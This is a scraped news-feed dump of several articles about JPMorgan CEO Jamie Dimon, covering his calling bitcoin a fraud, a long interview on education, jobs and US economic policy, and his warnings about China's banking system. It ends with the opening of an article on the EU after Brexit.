
Immediately Twitter erupted, lambasting JPMorgan CEO Jamie Dimon, who recently called bitcoin “a fraud” and said it was “worse than tulip bulbs,” as a hypocrite. Some questioned whether Dimon, whose comments triggered a sell-off of the coin, purposely bashed the cryptocurrency so JPMorgan could “buy low.”

Others wondered if Dimon would follow through on his promise to fire employees of the bank who traded the cryptocurrency. Here’s one tweet:

Dimon probably won’t be firing anyone, but not because he’s behind some sort of bitcoin-related conspiracy. He won’t be firing anyone at the bank, because the orders weren’t placed by JPMorgan employees.

“They are not JPMorgan orders,” a spokesman said in an email to Business Insider.”These are clients purchasing third party products directly.”

In other words, JPMorgan asset managers weren’t buying this product for their clients. Rather, the bank’s clients were using JPMorgan’s pipes to buy it themselves.

NOW WATCH: THE BOTTOM LINE: Gary Shilling on expensive stocks and Alibaba vs. Amazon

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]]> https://briefnews.eu/people-thought-they-caught-jpmorgan-buying-bitcoin-after-jamie-dimon-called-it-a-fraud-but-thats-not-what-happened/feed/ 0 JAMIE DIMON: Bitcoin is a fraud that’s ‘worse than tulip bulbs’ https://briefnews.eu/jamie-dimon-bitcoin-is-a-fraud-thats-worse-than-tulip-bulbs/ https://briefnews.eu/jamie-dimon-bitcoin-is-a-fraud-thats-worse-than-tulip-bulbs/#respond Sun, 17 Sep 2017 18:40:26 +0000 http://briefnews.eu/jamie-dimon-bitcoin-is-a-fraud-thats-worse-than-tulip-bulbs/ BitcoinMarkets Insider

JPMorgan CEO Jamie Dimon says bitcoin is worse than the most famous asset bubble in history.

The cryptocurrency is “worse than tulip bulbs,” Dimon said at a Barclays Conference on Tuesday, according to Bloomberg. That’s a reference to the arrival and boom of the tulip plant in 17th-century Europe. Its market boomed as people speculated on its price, and it all ended in panic selling. 

He added that “it’s a fraud” that would eventually blow up.

Bitcoin has rocketed more than 350% this year while exploding in popularity, particularly in Asia. This rally “won’t end well,” Dimon said.

Most fund managers surveyed by Bank of America Merrill Lynch in September said that betting on its continued rise was the “most crowded” trade. Dimon said he would fire any trader that transacted bitcoin for being stupid.

Dimon isn’t alone in being skeptical of bitcoin. Robert Shiller, the Nobel-winning author who predicted the housing and tech bubbles, recently doubled down on his view that bitcoin is a bubble, telling Quartz it was the “best example right now” of one.

NOW WATCH: Shiller says bitcoin is the best example of a bubble in the market today

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]]> https://briefnews.eu/jamie-dimon-bitcoin-is-a-fraud-thats-worse-than-tulip-bulbs/feed/ 0 JAMIE DIMON: There is a ‘national catastrophe’ and ‘we should be ringing the alarm bells’ https://briefnews.eu/jamie-dimon-there-is-a-national-catastrophe-and-we-should-be-ringing-the-alarm-bells/ https://briefnews.eu/jamie-dimon-there-is-a-national-catastrophe-and-we-should-be-ringing-the-alarm-bells/#respond Sun, 14 May 2017 22:41:47 +0000 http://briefnews.eu/jamie-dimon-there-is-a-national-catastrophe-and-we-should-be-ringing-the-alarm-bells/ Jamie DimonBusiness Insider

Jamie Dimon is sounding the alarm.

The chairman and CEO of JPMorgan Chase has taken the opportunity on a number of occasions in recent weeks to highlight problems in America, including its failing education system, stifling bureaucracy, and high levels of incarceration and opioid deaths. He has set out some solutions along the way.

Dimon’s influence beyond Wall Street seems to be at a peak. He’s the chairman of the Business Roundtable at a critical time, with a pro-business White House opening its doors to business CEOs. He crosses the political divide: a registered Democrat, he said recently he no longer cares for party politics. The bank he heads last month reported a strong set of first-quarter profits, with $ 6.4 billion in net income.

Business Insider travelled on May 5 to speak with Dimon at the Alfred E. Smith Career and Technical Education High School in the South Bronx, New York. We talked about education, the economy, and the Trump administration. JPMorgan Chase had just announced a $ 6 million investment in the Bronx as part of its $ 75 million New Skills for Youth initiative.

This interview has been edited for clarity and length.

Matt Turner: Why are initiatives like this one in the South Bronx so necessary right now?

Jamie Dimon: We’ve made a huge effort globally and in the US, in getting kids jobs. This is one piece. The South Bronx and inner-city schools need it more than most. It’s our hometown; JPMorgan Chase banks a lot of people here. My wife [Judy Dimon] does a lot here, and so they’ve been pounding it: “We need to do more in the South Bronx.” We need to get kids getting out of high school, who go on with a job, or go on to college and that leads to a job.

New York Governor Andrew Cuomo announces a $ 1.8 billion project to transform the South Bronx by reconstruction of the Bruckner-Sheridan Interchange in New York City, United States in this March 19, 2017 handout photo. Kevin P. Coughlin/Office of Governor Andrew M. Cuomo/Handout via REUTERSThomson Reuters

We’re making an effort. We have some great partners here. If you see the school, it works. You saw the kids today. They’re all getting jobs, they’re smiling, they’re proud of themselves. That’s what we need to do in inner-city schools.

Turner: You’ve said that “the lack of economic opportunity for young people in the South Bronx is a moral and economic crisis.” How did this happen?

Dimon: It’s not just this area. You have unemployment now going below 4.4% this morning, but if you go to a lot of inner cities, unemployment among youth — think ages 17 to 25 — is 20% or 25%. The fact that parts of the country are doing well doesn’t mean we shouldn’t focus on the part that isn’t.

Part of the problem is that jobs haven’t been done locally. These kids can get jobs with the MTA. There’s a distribution company down here, they know what these kids have been trained in, they were part of the training effort. Locally, if you go to Texas, they need welders. If you go to other areas, they need people who can do construction, plumbing, electrical work. Business has to be involved locally with civic society, in this case schools, to get the kids trained to have a job.

There are plenty of jobs out there. When people talk about the problems, I would say, “What’s the solution? What’s the outcome you want? How are you going to get there?” Civic society has to do it together with business. It’s not going to work with one without the other.

Turner: You talked recently about a lost generation, of people being left behind. What has the effect of that been?

Dimon: When people talk about people being left behind — middle wages have not gone up for years, and we should recognize that, and there I think we need growth and skills — but there are these other people who have been left behind. When I say out loud, “Fifty percent of inner-city schoolkids do not graduate from high school,” that is a national catastrophe. We should be ringing the alarm bells. It’s not fair.

Colin PowellPaul Morigi/Getty Images

We were a land of opportunity. You can never have equal outcomes, but you can have equal opportunity. Among those kids, we might have had a Colin Powell, an Albert Einstein, we’ll never know. I just think it is part of running a good society. People should get involved in fixing that particular problem.

Turner: The idea of going to school, getting a job, working your way up, buying a house, that’s a part of the American dream, and yet all those things seem harder to do. Is the American dream still available to as many people now as it used to be?

Dimon: We have the best country on the planet. We have schools, universities, food, water, energy, peaceful neighbors, low corruption, you name it, deepest and widest capital markets. That doesn’t mean we shouldn’t identify problems. We don’t have a divine right to success. If you look at it, what are the problems?

One is, middle-class wages haven’t gone up. One is, lower-class wages haven’t gone up enough to create a living wage. One is, people losing jobs, more to automation than anything else. The solution? It’s retraining, relocation — it’s income assistance. We’re just trying to recognize those things, that we’ve left some people behind. And we haven’t done a particularly good job of fixing it, Democrat or Republican. My own view, this is not a political issue. It’s not a knee-jerk reaction from either side. It’s training, schools, getting growth going again.

Detroit would be a great example. If you look at Detroit, that mayor, it’s been a train wreck for 40 years, the population has gone from 2 million to 700,000. This Mayor comes in, and he talked about streetlights, sanitation, jobs, policing, schools, affordable housing. He’s doing it all, and it’s growing for the first time in 30 years. Literally, one man. But that one man couldn’t do it without business. You’ve got wonderful people in Detroit, like Dan Gilbert, JPMorgan Chase. And business couldn’t have done it without a political environment where they wanted to improve things. If you had an antibusiness environment there, it would still be down there.

Construction is seen on a new housing development along the riverfront in Detroit, Michigan, December 9, 2015. REUTERS/Rebecca CookThomson Reuters

Turner: For that lost generation, there’s some anger at the global elite.

Dimon: I kind of agree with it, when you leave people behind, and those people who are left behind, it’s not their fault, it’s the leaders of the institutions. There’s always going to be an elite. You can have an elite in a communist society. It is the leaders, something went wrong, and the leaders collectively are responsible.

There’s some more terrible numbers — men, age 25 to 55, the labor-force participation rate is down 10%. That’s unbelievable. There are 35,000 dying of opioids every year. Seventy percent of kids age 17 to 24 can’t get into the US military because of health or education. Obesity, diabetes, reading and writing. Is that the society we wanted? No. We should be working on these things, acknowledge the flaws we have, and come up with solutions. Not Democrat. Not Republican. Not knee-jerk.

Any good job is a good job. This whole concept of a dead-end job? It’s not true. I’ve heard it my whole life. Jobs lead to dignity. If you’re good at the first, then you can get the second. Jobs lead to household formation. Jobs are a better solution for society. The other part, the expanded earned-income tax credit, which can help the lower paid have more a living wage, which will lead them to do more. It will help small business. It won’t help big business.

Turner: What impact has what you’re describing had on the economy? Can the US get back to 3% or 4% growth?

Dimon: I’ve been clear. I think the reason we’re at 2% and not 3% is money spent on wars, the education system leaving people behind, technology has left some people behind. It’s a lot of things we did. Government shutdowns. I don’t think it had to be that way. I don’t think it was embedded in something. It was the decisions we made. We should do something about fixing it. I’m comfortable we’ll fix it. People always say to me, “What if it doesn’t work?” If it doesn’t work, we redouble our effort. We’re not going to cry like a bunch of babies. We’re going to redouble our effort.

Detroit is a great example. It is working. The population is going up, unemployment is going down, people are moving back in. You can go to downtown Detroit today, an area I’m familiar with because I’ve been going to Detroit for 30 years or so. You wouldn’t have walked around downtown Detroit. Now, it is vibrant, music, restaurants, it’s unbelievable. It actually works at the local level if you do it right.

Jamie Dimon, Chairman and CEO of JPMorgan Chase & Co. speaks during the Milken Institute Global Conference in Beverly Hills, California, U.S., May 1, 2017. REUTERS/Mike BlakeThomson Reuters

Turner: Why isn’t that happening in more places?

Dimon: I wouldn’t say it isn’t happening elsewhere. Good reporters have written about little towns where it is happening. And then there are towns where it’s not.

Turner: JPMorgan Chase’s investment in the South Bronx is from a $ 75 million fund, and the bank has a $ 250 million fund focused on similar issues. Does corporate America need to do more?

Dimon: I’m the chairman of the Business Roundtable, which is 200 of the largest companies in America, and one of our initiatives is around work skills, things exactly like this. Think of disseminating best practices among government, among business. A lot of businesses do it. If you went to any major company, they’ll give you a good list of the stuff they’re doing. We just need to do more.

Turner: And when you talk to those CEOs about the need for that kind of an effort, what’s their response?

Dimon: They’re totally on board. Most CEOs are patriotic and most CEOs can see the problems in front of them, and they want to do something about it. We don’t always agree about the ways and means, but the objective? We’re totally together.

Turner: You’ve talked about the pro-business approach this administration is taking, and that being a welcome change. How does that fit in to what we’re discussing?

Dimon: People get boxed up in personalities and stuff like that. The Trump administration’s [economic] agenda is the right agenda. Corporate taxes have been driving capital and brains and companies overseas for a decade. It has caused huge damage in investment and jobs and productivity. It was a mistake. We have to fix it. Counterintuitively, that usually helps middle-class wages, and lower-class wages, and job formation.

The second issue is regulation. If you talk to anyone involved in business — forget banks and big business — talk to small businesses — do it yourself, don’t ask me — they’ll tell you it’s crippling. Small-business formation is the lowest it has ever been in a recovery, and it’s really for two reasons. One is regulations and the second is access to capital for people starting new businesses.

Then there is infrastructure. You might be shocked to find out, we haven’t built a major airport for 20 years. China built 75 in the past 10 years. It takes 10 years to get all the permits to build a bridge today. Ten years? What happened to the good old can-do America? Where is “We get it done, we work together”? We’ve become this bureaucratic, stifling environment. I’m not talking about violating environmental things — I’m talking about building a bridge, getting things going, getting people to work together. Even some of my friends noticed there was a bridge in Cambridge being built across the Charles River. It was a teeny little bridge. It took six years. Don’t tell me that’s not corruption. I don’t care what you say — that’s corruption.

Trump Jamie DimonKevin Lamarque/Reuters

Turner: How confident are you that with the current administration there will be change?

Dimon: The first thing you do is acknowledge where some of the problems are. They’ve got real professionals on the ground, deeply respected, both on the national-security and state side, and the economic side, and they’re just staffing up. Let them go at it.

Remember, it won’t be up to them. They’ve got to work with Congress, with Democrats and Republicans. I think a lot of these things that are good for all of America, we should get the Congress, whether it’s Democrat or Republican, to say, “Let’s get those things done.” Those things are good for all Americans. A lot of these things have hurt the average American. When they look at the banks and they say, “Well, the bank’s talking its own game,” I am telling you, what we’ve done in mortgage lending, our inability to have proper regulations around mortgages, has hurt average Americans. First-time buyers, immigrant buyers, prior defaults, self-employed, because they can’t get a mortgage. Will it make a big difference to JPMorgan Chase? No, but you’re hurting my fellow citizens. Let’s go at it, and let’s fix it.

That mortgage example — our economists think that one example would have improved GDP growth by 0.3% a year. Over five years, that’s 1.5% — 1.5% would be 2 million jobs. If that’s true, let’s do something about it. Let’s not sit here and twiddle our thumbs and have Democrats and Republicans yelling and screaming at each other. We’re hurting average Americans.

Trump Air Force OneAP Photo/Jose Luis Magana

Turner: Do you think your voice and the voices of other CEOs carry more weight now with the present administration?

Dimon: I think the administration is talking to everybody. They are talking to CEOs, they’re talking to unions, I’m told the president has Democrats and Republicans over for lunch and dinner and on Air Force One. As the head of the BRT, the CEO, who is Josh Bolten, who we recently hired, and I recently met with a whole bunch of unions about what we could do that would be better for everybody. It was a great meeting. We’re going to try to get people to work together to fix these problems. It takes collaboration. It’s not going to work if we all hate each other.

Turner: You say the Trump administration’s economic agenda is the right one. Is there a risk that some of the benefits from that economic agenda could be undone by other policies like trade and immigration?

Dimon: It is possible. If you’re talking about immigration and trade, people have made some pretty strong statements on that, but my own view is that they have laid out some real trade issues that are accurate for both China and Mexico, where we can improve upon the trade agreements, and I think we’ll improve on the trade agreements. I may be wrong, but I think that is their objective, and they’re using tough words.

I think immigration has been one of the vital things about the growth of America. I’m the product of grandparents who all immigrated from Greece. I hope eventually we have proper immigration. Good people who have paid their taxes and haven’t broken the law, get them into citizenship at the back of the line. I think that can be worked out. If people get educated here, and they’re foreign nationals, get them a green card. I’ve even heard the president speak about that. There are things to do to make immigration work for all of America.

NOW WATCH: JAMIE DIMON: There is a ‘national catastrophe’ in American education

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]]> https://briefnews.eu/jamie-dimon-there-is-a-national-catastrophe-and-we-should-be-ringing-the-alarm-bells/feed/ 0 We haven’t heard JPM CEO Jamie Dimon go this dark on China in a long time https://briefnews.eu/we-havent-heard-jpm-ceo-jamie-dimon-go-this-dark-on-china-in-a-long-time/ https://briefnews.eu/we-havent-heard-jpm-ceo-jamie-dimon-go-this-dark-on-china-in-a-long-time/#respond Tue, 02 May 2017 21:14:01 +0000 http://briefnews.eu/we-havent-heard-jpm-ceo-jamie-dimon-go-this-dark-on-china-in-a-long-time/ Jamie DimonGetty/Mark Wilson

NEW YORK – Something dark is happening in China’s banking system. It hasn’t been able to penetrate our noisy news cycle here on the other side of the world. But Jamie Dimon, the CEO of JP Morgan, knows about it.

“They’ve kicked out all foreigners twice in their history,” Dimon said to a crowd at the Milken Global Initiative on Monday addressing concerns with China’s financial system. “They might do it again. If you’re a shareholder of JPMorgan Chase, I just want to tell you, we’ll be fine. It’ll hurt. It won’t be a good year. But we’ll make money, OK?” 

This from a guy who, at the end of March said Chinese banks could “buy us one day.”

The last time Dimon was close to this negative was in early 2016, when China’s markets were roiling on concerns about debt piling up in its banking system. But China’s markets have been quiet this year so far.

Here’s what’s different now. Over the past few weeks there have been signs that the Chinese government is completely serious about reducing leverage and debt in its banking system.

China Banking Regulatory Commission chief Guo Shuqing said last month that he must resign if the banking industry is a mess, and the President Xi Jinping has been sitting in Politburo meetings where “financial risk” is the topic of discussion, according to the South China Morning Post.

This means a couple of things, and most of them have to do with lending. For one, it means the government is going to try to get banks to be more real about what they have on their books, and that means cracking down on the entire shadow banking system. 

That sounds good, but since the government started making noise about regulation, Chinese markets have slumped. That’s because it also means that there will be less lending to market participants and to brokerages who then lend to clients who want to lever up and get into the market.

In other words, this is upending the system as everyone knows it.

bank of chinaAP/GREG BAKERThings get messy

China’s shadow banking system is mostly made up of wealth management products (WMPs) — debt or debt-like instruments that pay out higher interest rates to investors. Banks used to keep WMPs off balance-sheet, but no more. The People’s Bank of China just put off-balance sheet WMPs on its macroprudential assessment of banks’ risks.

This is a warning to banks that they can’t hide anymore. Plus, the China Banking Regulatory Commission (CBRC) is demanding that banks keep more liquidity on hand to deal with WMP risk.

The CBRC is also cracking down on money that banks lend out to external managers, known as “entrusted investments.” One American investor in China said who wished to remain anonymous told Business Insider that banks are lending to some investment firms and finding there’s little recourse to get their money back.

That’s because the banks are lending to brokerage firms with high interest. The brokerages then lend to customers and often allow them to extend leverage if they have a problem. The brokerages make their money from trade execution and sharing in returns. They get paid first.

Banks get paid … whenever. All of that’s been building on bank balance sheets for so long the government has to act.

The question is how. What scares Dimon — and likely the stock market — is that if this is done too quickly, regulators may also sap liquidity from the system, killing smaller players and grinding things to a halt.

And then, of course, there’s the fact that China is 1/3 of the world’s economic growth and anything that devastates its banking system, devastates everyone now.

Timing, timing, timing

Economically, China has had an easy go of 2017. Up to just about now, the economy has been stable. For example, for the first time since 2012 factories have stopped shedding jobs — a stark reversal from last year. That’s why the government is taking this opportunity to reform the financial system.

But that moment of opportunity could be ending as you read. Manufacturing numbers for April came in below expectations.

“A slide in the Caixin manufacturing purchasing managers’ index, a key gauge of factory activity, adds to the impression that China’s 2017 growth is already past its peak,” wrote Bloomberg economist Tom Orlik in a recent note.

“The index came in at 50.3 in April, down from 51.2 in March and missing expectations of a 51.3 reading. That points to a manufacturing sector continuing to expand, but at a glacial pace. Taken together with a decline in the official PMI and slumping metals prices, it suggests China’s growth may already have returned to a slowing path.”

In other words, it may be a little late to move on the banking system. But all Xi Jinping has is now. And the game is already in motion. Dimon will just have to hold on like everyone else. 

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]]> https://briefnews.eu/we-havent-heard-jpm-ceo-jamie-dimon-go-this-dark-on-china-in-a-long-time/feed/ 0 EU WILL FAIL if leaders don’t sort post-Brexit Eurozone, JP Morgan boss Jamie Dimon warns https://briefnews.eu/eu-will-fail-if-leaders-dont-sort-post-brexit-eurozone-jp-morgan-boss-jamie-dimon-warns/ https://briefnews.eu/eu-will-fail-if-leaders-dont-sort-post-brexit-eurozone-jp-morgan-boss-jamie-dimon-warns/#respond Sat, 21 Jan 2017 17:38:01 +0000 http://briefnews.eu/eu-will-fail-if-leaders-dont-sort-post-brexit-eurozone-jp-morgan-boss-jamie-dimon-warns/

EUROPE is close to falling apart because political leaders are not fixing the problems that caused Britain to vote out of the European Union , the boss of one of Wall Street’s biggest banks has warned.
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